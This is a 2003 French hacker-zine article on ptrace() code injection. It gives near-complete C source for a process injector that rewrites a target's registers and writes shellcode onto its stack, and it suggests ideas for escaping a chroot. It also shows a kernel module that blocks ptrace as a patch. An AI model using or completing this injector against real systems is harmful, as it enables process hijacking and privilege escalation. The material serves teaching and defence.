-------------------------------------------------------------------------------
0x07         ptrace() for fun and profit                              4n0nym0uZz
-------------------------------------------------------------------------------






[SOMMAIRE]


  I/   Avertissement


  II/  Introduction


  III/ ptrace()


  IV/  Injection


  V/   Implmentation


  VI/  Patch


  VII/ References


  VII/ Greetz







  I/ Avertissement
  ________________



Tout  ce  dont il  est  question dans  cet article a  t test  sur mon propre
systme, et  aucun  disfonctionnement  n'a  t  not  par la suite. Je ne vous
encourage  pas  a  tester  cel  sur  des  systmes ne vous appartenant pas. Si
nanmoins  vous  avez  envie de mettre en application le contenu de cet article
sur  un  systme  n'tant  pas a vous, en cas d'ennui (genre si vous plantez le
systme) ce n'est pas moi qu'il faudra remettre en cause.






  II/ Introduction
  ________________


Bon  donc  dans  cet  article,  je  vais  vous  parler  de  ptrace(),  et  plus
prcisment  d'une  fonctionnalit  que ce  syscall implmente : l'injection de
donnes.  Cette  technique  est  loin d'etre rcente et il en est question dans
le  Phrack#59  (salut    l'anonymous  qui a  ralis   un  de   ces   articles
d'ailleurs  :)).  Je  vais  donc  expliquer comment injecter du code en parlant
des  tapes  essentielles  de  l'injection  (attache au processus, recuperation
des  adresses...).  En  meme  temps  que  cet  article,  vient  un bout de code
provenant  de  mon  implmentation,  un  simple  injecteur  utilisant ptrace(),
mais  il  ne  sera  pas  distribu  compltement pour des raisons diverses (par
consquent  le  code  est   *quasiment  inutilisable*,   mais   est  facilement
reconstituable afin d'avoir un injecteur fonctionnel - simple mesure anti
*gros kiddies*).

Au fait (je crois que je le dis plus loin a aussi), pour avoir les dernieres
versions des codes sources prsents ici, pointez vous soit sur mon site (je ne
donne pas l'url, mais ceux qui savent qui je suis sauront la retrouver) soit sur
le site de IOC. Idem pour ce paper en fait, car il y a pas mal de choses a voir
dans ce domaine, et trs peu sont couvertes dans ce paper, donc de temps en
temps je rajouterai des trucs...






  III/ Ptrace
  ___________


Bon, pour l'utilite de ptrace() ainsi que son utilisation, je vais supposer
que vous etes assez matures pour cel, c'est vous renvoyer a la page de
manuel de ce syscall :

  $ man 2 ptrace

Et l vous apprenez des tas de choses intressantes. Vous voyez que ptrace()
est l'appel systme numro 26 (eax,26); que son premier parametre (ebx) est
le type de requte, le deuxime (ecx) est le PID du programme a tracer, le
troisime (edx) est l'addresse mmoire dans laquelle il faut lire/crire les
donnes passes en quatrieme parametre (esi).

La requete a passer en premier parametre (ebx) doit soit etre par exemple
"PTRACE_PEEKTEXT", soit sa valeur numrique (1). Pour avoir la liste des
requetes ainsi que leurs valeurs numriques, je vous renvoie au fichier
sys/ptrace.h.

Voici quelques informations sur le fonctionnement de ptrace()...pour cel je
vais d'abord revenir sur quelques notions sur le systme UNIX, a commencer
par la notion de processus (car certaines notions ne sont pas connues de
tous). Chaque processus comporte une structure (task_struct) appelle
"descripteur de processus" ("process descriptor") qui contient normment
d'infos sur lui mme. Je vais tenter plus ou moins de faire le schma de
cette structure (attention je sux trop des ballz en ascii art) :


state
flags

need_resched
counter
priority

next_task		----->
prev_task		----->
next_run		----->
prev_run		----->		/ --------->tty_struct
                                       |            (tty associ au process)
p_optr			----->	       |
p_pptr			----->         |
......                                 |  /-------->fs_struct
			               | |          (rpertoire courant)
                                       | |
                                       | |
tty			---------------/ |  /------>files_struct
                                         | |        (pointeurs vers les fd)
                                         | |
                                         | |
                                         | |
                                         | |
tss                                      | |  /---->mm_struct
                                         | | |      (pointeurs vers les mrd)
                                         | | |
                                         | | |
fs			-----------------/ | | /--->signal_struct
files			-------------------/ | |    (signaux reus)
mm			---------------------/ |
signal_lock		-----------------------/
sig

...

tty_struct,fs_struct,files_struct,mm_struct et signal_struct se rfrent aux
ressources appartenant au processus, mais a on s'en fout. En fait j'ai
juste fait ce schma pour faire joli. Non plus exactement pour attirer votre
attention sur deux trucs : p_optr et p_pptr. En gros a correspond au
processus pre original, et au processus pre tout court. Le premier
(p_optr) est un pointeur vers le descripteur de processus pre original (quand
il est encore vivant) ou vers "init" s'il est mort (cet enfoir l).
Le deuxime (p_pptr) est un pointeur vers le descripteur de processus pre
actuel. En gnral c'est la meme chose que p_optr, mais nous allons voir par
la suite que a peut changer...

En effet, lorsque l'on utilise ptrace(PTRACE_ATTACH,pid,.....), la structure
de "pid" est modifie de sorte que son p_pptr soit celui du processus qui
fait le ptrace. Une fois qu'on finit (ptrace(PTRACE_DETACH.......)) la
valeur de p_pptr est remplace par celle de p_optr.



  IV/ Injection
  _____________

Bien donc dans cet article, je vais parler de l'injection de code dans un
processus [j'en profite au passage pour prciser qu'il s'agit l d'une forme
d'infection de processus en runtime, il ne s'agit pas de l'infection du
binaire en lui mme]. Le code prsent ci dessous n'est qu'une sorte de
proof of concept, car vous ne pourrez pas faire grand chose.

Imaginez un vieux serveur apache, vulnrable, mais a l'intrieur d'un
chroot. Un hacker exploite le apache et il est root, mais  l'intrieur du
chroot. Imaginez un autre hacker, dans la meme situation, qui utilise un
exploit avec un shellcode injectant un code permettant de casser le chroot
dans un programme extrieur au chroot. Vous avez certainement devin ou je
veux en venir. Mais pour cel il faut que ptrace() soit autoris 
l'extrieur de l'environnement chroot(). En [3] vous trouverez un article
qui dcrit exactement cel.

Je ne vais carrment pas vous expliquer comment sortir d'un chroot, juste
donner deux trois ides comme a dans le vent, mais par exemple si vous etes
root dans l'environnement chroot, vous pouvez encore ventuellement charger
un LKM qui fera plus ou moins ce que vous voulez, ou encore crer des
devices en local qui vous permettront d'accder en mode natif  la mmoire
ou au systme de fichiers (afin par exemple de rcuprer des pointeurs en
dehors du chroot() et d'agir dessus, l a peut tre fun). Bon je persiste a
dire que le mieux reste l'injection ptrace() car vous fates faire presque
ce que vous voulez aux processus. Une technique assez ancienne qui ne marche
plus consistait a faire un double chroot(), une autre consistait a faire un
chroot() sans chdir() [6] (mthode teste sur une machine sans grsecurity).
Enfin disons que toutes ces techniques que je vous voque au dessus sont l
pour faire beau, car aprs rflexion je n'arrive pas  voir de quelle
manire je peux les utiliser dans cet article vu qu'il n'y aurait carrment
aucun rapport - le truc de base tant l'injection ptrace...le seul lien
entre tout a et mon article est que a sert a sortir d'un chroot()...

Enfin bref...

Il existe quelques solutions  cel, comme empecher l'excution de ptrace()
tout simplement (sur un serveur de production, avoir ptrace() ne sert a rien
du tout), ou bien empcher ptrace() de s'attacher  des processus situs 
l'extrieur de l'environnement chroot. Le patch pour le Kernel Linux
Grsecurity fait cel. A noter galement que ce patch intgre diverses autres
protections pour empecher le cassage de chroot().

Donc passons  l'action, voyons comment nous pouvons faire cel de manire
simple : je vous laisse une grande partie du code source...





  V/ Implementation
  _________________


Au dbut je pensais filer le code source de mon injecteur, mais en fin de
compte je prfre le distribuer sous forme de binaire (compil avec gcc
2.96). N'en soyez point troubls, il y a 90% du code source ci dessous...

/*
 * pr00f 0f c0nc3pt c0d3
 * by 4n0bym0uZ
 * f0r The IOC Magazine
 * (c) 2003
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <linux/user.h>
#include <sys/wait.h>

#include <ncurses.h>  // that's a kind of magick...

void usage(char *progname)
{
  printw("Usage: %s <pid to infect>\n",progname);
  refresh();
  getchar();
  endwin();
  exit(-1);
}

int intro(void)
{
  printw("pr00f 0f c0nc3pt c0d3 by 4n0nym0uZ 0f\n");
  printw("The Input / Output Corporation\n");
  printw("pr3ss 4ny k3y...b3 gh3y...ph34r !!\n");
  refresh();
  getchar();
  return(0);
}

char *message = "" ;   /* ici faut en fait mettre un shellcode qui fait un
char *shellcode;        * write avec le texte qu'on veut */
void i_sc();           /* han ! il vous faudra la recoder :) */
int ptr,begin,i=0,erreurs;  /* plein de variables a la con */
struct user_regs_struct data;  /* c'est dedans qu'on va stocker les regs */
pid_t pid;     /* l on va caler le pid */

int main(int argc, char **argv)
{
  initscr();
  intro();
  if (argc != 2)   /* achtung achtung ! */
  {
    usage(argv[0]);
  }

  pid = atoi(argv[1]);	// voil qui est fait

  shellcode = malloc(strlen((char *)i_sc) + strlen(message) + 4);
  strcpy(shellcode,(char *)i_sc);
  strcat(shellcode,(char *)message);/* on concatene le shellcode et le msg*/

  printw("n0w try1ng t0 Xpl01t pr0c3ss numb3r %d...\n",pid);
  refresh();

  sleep(1);	// va savoir pourquoi j'ai mis a (je viens de dcouvrir cette fonction)

  /* l donc on va s'attacher au processus */

  if ((erreurs = ptrace(PTRACE_ATTACH,pid,NULL,NULL)))
  {
    printw("un4bl3 t0 4tt4ch to l33t pr0c3ss %d \n",pid);
    refresh();
    endwin();
    exit(-1);
  }

  waitpid(pid,NULL,0);

  /* on rcupre la liste des registres qu'on stocke dans la structure
   * data */

  if ((erreurs = ptrace(PTRACE_GETREGS,pid,NULL,&data)))
  {
    printw("un4bl3 t0 g3t r3gZ st4te...\n");
    refresh();
    exit(-1);
  }

  printw("%%eip	=	0x%.8lx\n",data.eip);
  printw("%%esp	=	0x%.8lx\n",data.esp);

  refresh();

  ptr = begin = data.esp - 512;

  printw("n0w 1nj3ct1ng THE SHELLCODE\n");
  printw("Injecting at : %.8lx\n", (long)begin);
  refresh();

  data.eip = (long) begin;

  /* On remplace les anciens registres par les nouveaux... */

  if ((erreurs = ptrace(PTRACE_SETREGS,pid,NULL,&data)));
  {
    refresh();
    endwin();
    exit(-1);
  }

  /* tant qu'on est pas au bout de shellcode[] on copie bit par bit
   * ce qu'il contient a l'adresse donne */

  while (i < strlen(shellcode))
  {
    ptrace(PTRACE_POKETEXT,pid,ptr, (int) *(int *)(shellcode + i));
    i += 4;
    ptr += 4;
  }

  /* Puis au final on se dtache */

  ptrace(PTRACE_DETACH,pid,NULL,NULL);
  refresh();
  endwin();
  return(0);
}







  VI/ Patch
  _________


Le 17 mars 2003, le monde entier (enfin...les gens conscients des problmes
de scurit dirons nous) apprend l'existence d'une faille de scurit
touchant le syscall ptrace(). Toutes les versions du kernel de la plus basse
2.2 a la plus leve 2.4 (2.4.20  l'poque) inclue taient vulnrables (au
passage, la version 2.4.21 est sortie il y a moins d'une semaine). Avant
qu'un patch ne soit disponible, je me suis mis en tte de dvelopper un
module de kernel (bon vous tes pas des beunets non plus je pense, on va
appeller a un LKM) qui permet d'empecher l'utilisation de ptrace. Je vais
vous expliquer pas  pas comment coder ce patch (et en vous fournissant bien
entendu mon code au cas ou vous n'y arriveriez pas tout seul), mais avant
tout, on va revenir sur ce que sont les LKM...je vais pour cel vous conter
une histoire...

Cel commence a l'poque des kernels 2.0, nous situons cette poque aux
alentours de l'an de grce 1997. De plus en plus de matriel et de
fonctionalits sont supportes par le noyau du systme Linux - consquence,
on risque de se retrouver avec des kernels de plus en plus gros. Donc des
gens (attention oui c'est pas n'importe qui, ce sont des gens !) ont eu
l'ide (fabuleuse ?) de mettre au point un systme de codes kernel qui
implmentent une fonction que l'on aimerait bien voir utilise dans un
kernel, sans avoir a le recompiler, et sans que le kernel prenne plus de
place.

Pas tout non plus ne peut tre mis en LKM, il peut arriver que pour le petit
truc dont on a besoin, nous n'ayons le choix qu'entre une compilation
statique (le driver est directement intgr au kernel), ou bien pas de
compilation du tout (on ne peut pas faire plus explicite :)). Dans ces cas
l, c'est par exemple qu'une des fonctions dont on a besoin ncessite par
exemple une modification d'une structure de donnes...Pour un exemple bien
dtaill, je vous renvoie a l'annexe B1 du livre "Le Noyau Linux" [1].

Pour  charger  un  module en mmoire, le moyen le plus simple est de passer par
la commande "insmod" ("insert module").Pour une utilisation un peu plus avance
et  volue  qu'une  simple  insertion  de module, je vous renvoie a la page de
manuel  de  insmod(8). L  je  ne  vais  carrment  pas  m'attarder sur comment
se passe une insertion de module,l encore et toujours je vous renvoie au livre
"_Le Noyau Linux_". Pour  lister  les  modules, le  moyen  le  plus  simple est
d'utiliser  la  commande  "lsmod" ("list modules"), et pour supprimer un module
de la mmoire, il faut utiliser la commande "rmmod" ("remove module").

Bon, maintenant, trve de plaisanteries, passons a la programmation d'un
module qui sera utile et (in)intressant...

On commence tout d'abord par caler une rfrence a la sys_call_table dans
notre module. La sys_call_table c'est un tableau qui numre la liste des
syscalls ainsi que leurs adresses. L'adresse est tout simplement le numro
du syscall. Le nom du syscall est de la forme SYS_machintruc (par exemple
SYS_exit). Donc que disais-je ? ha oui, eh bien donc on va intgrer la
sys_call_table. Heureusement (non pas qu'il y a Findus) que les gens qui ont
mis ce systme au point ont pens a la dclarer en extern...ajoutez donc
cette ligne dans votre module :

  extern void *sys_call_table[];

Ensuite nous allons crer un pointeur qui pointera vers l'adresse du syscall
ptrace original. Ceci peut nous etre utile par exemple si nous voulons tout
rtablir sans avoir a rebooter...

  int (*orig_ptrace)(int,int,int,int);

Peut etre vous demandez vous ce que vient foutre ici un (int,int,int,int),
mais la rponse est simple : consultez le man de ptrace, vous aurez la
rponse (un indice : regardez le prototype de la fonction).

Nous allons a prsent construire NOTRE syscall ptrace. Pour cel, on ne va
carrment pas se faire chier, on va s'inspirer du prototype qui existe dj:

  int n_ptrace(int req,int pid, int addr, int data);

Vous ouvrez les crochets ("{") et a l'intrieur vous mettez ce que vous
voulez que ce nouveau syscall fasse, en tenant bien entendu compte du fait
que le module sera excut en kernel land, et que donc l'utilisation des
instructions de la glibc ne sera pas possible (comme printf(3) par exemple).
Dans mon exemple, je fais afficher une connerie genre "appel a ptrace - b3
gh3y" en utilisant la fonction printk(). Ensuite, vu que notre but est
d'empecher ptrace de fonctionner, nous allons utiliser return() pour lui
faire croire ce qu'on veut. On consulte la page man de ptrace(2) et on
regarde les valeurs renvoyes en cas d'erreur. Pour ma part j'aime bien
EPERM donc c'est ce que je vais utiliser. Voyons donc ce que notre code va
donner :

  {
    printk("appel a ptrace - b3 gh3y");
    return EPERM;
  }

Voil. Avec ce bout de code on a presque 90% de notre module qui est fait.
Maintenant ce qu'il nous reste a faire, c'est remplacer le vieux ptrace()
par le notre (qui tient quand meme en deux lignes), et pour a, il faut
corrompre la sys_call_table (c'est le mal !). Rassurez vous, ce n'est pas
bien compliqu. On commence d'abord par faire pointer l'adresse de
sys_ptrace vers son lieu de repos...oups de sauvegarde, qu'on a dclar un
tout petit peu plus haut...

  orig_ptrace = sys_call_table[SYS_ptrace];

Et on remplace ce ptrace l (qui nous sert plus a rien, du moins dans
l'immdiat) par notre ptrace a nous...

  sys_call_table[SYS_ptrace] = n_ptrace;

On met cel dans la fonction init_module. Haaaa j'allais oublier, la
fonction init_module() c'est l'quivalent du main() d'un programme
classique. Bon donc on fout a dans init_module() et on met un return(0);
pour terminer. L on a fait 95% du boulot.

Que se passe-t-il s'il nous prend l'envie de supprimer le module ? (parce
qu'il est mchant par exemple). Eh bien il suffit juste de restaurer le
syscall original, pour cel, on va faire comme on a fait pour le dgager du
milieu... part que a sera l'inverse, hahaha :

  sys_call_table[SYS_ptrace] = orig_ptrace;

Et on va planquer a dans la fonction cleanup_module() qui est..hmmm...la
fonction qui est appele ds qu'un module est supprim de la mmoire via
rmmod. Maintenant vous devriez pouvoir vous coder un module qui tient la
route. Au cas ou vous n'y arriveriez pas, vous pouvez toujours regarder le
code que je vous file en annexe (patchtrace.tar.gz).

Ce  patch  empeche  donc  tout  utilisateur  de  faire  un  ptrace(),  et  donc
l'exploit  ptrace  de  mars  2003  ne  marche  plus,  mais  la ptrace injection
aussi.  Il  est  possible  d'autoriser  juste  le  root a faire un ptrace, mais
dans  ce  cas  l  la  protection  contre  l'injection n'a plus de sens dans le
cadre  d'un  shellcode  faisant un ptrace() (par exemple pour infecter un autre
processus)  car  le  ptrace()  sera  excut en root (le shellcode aura fait un
setreuid(0,0)  avant  bien  videmment)  et dans ce cas il ne sera en aucun cas
restreint par le module. Dans ce cas il faut bloquer la requete PTRACE_POKETEXT
mais  Neofox  de  IOC a cod un module faisant cel. Je l'ai galement joint en
annexe.





  VII/ References
  _______________

[1] Page de manuel de ptrace() [man 2 ptrace]
[2] _Le Noyau Linux_ (_Understanding the Linux Kernel_) - Daniel P. Bovet &
    Marco Cesati - Editions O'Reilly
    (http://www.oreilly.com)
[3] Building ptrace injecting shellcodes - anonymous - Phrack59 article 12
    (http://www.phrack.org/show.php?p=59&a=12)
[4] Runtime process infection - anonymous - Phrack 59 article 8
    (http://www.phrack.org/show.php?p=59&a=8)
[5] Grsecurity (http://www.grsecurity.net)
[6] Using chroot() securely
    http://www.linuxsecurity.com/feature_stories/feature_story-99.html






  VIII/ Gr33tZzZz
  _______________


Je tiens a remercier certaines personnes, que je ne vais pas citer, mais qui
sauront probablement se reconnatre pour tout ce qu'elles m'apportent.
Encore une fois merci.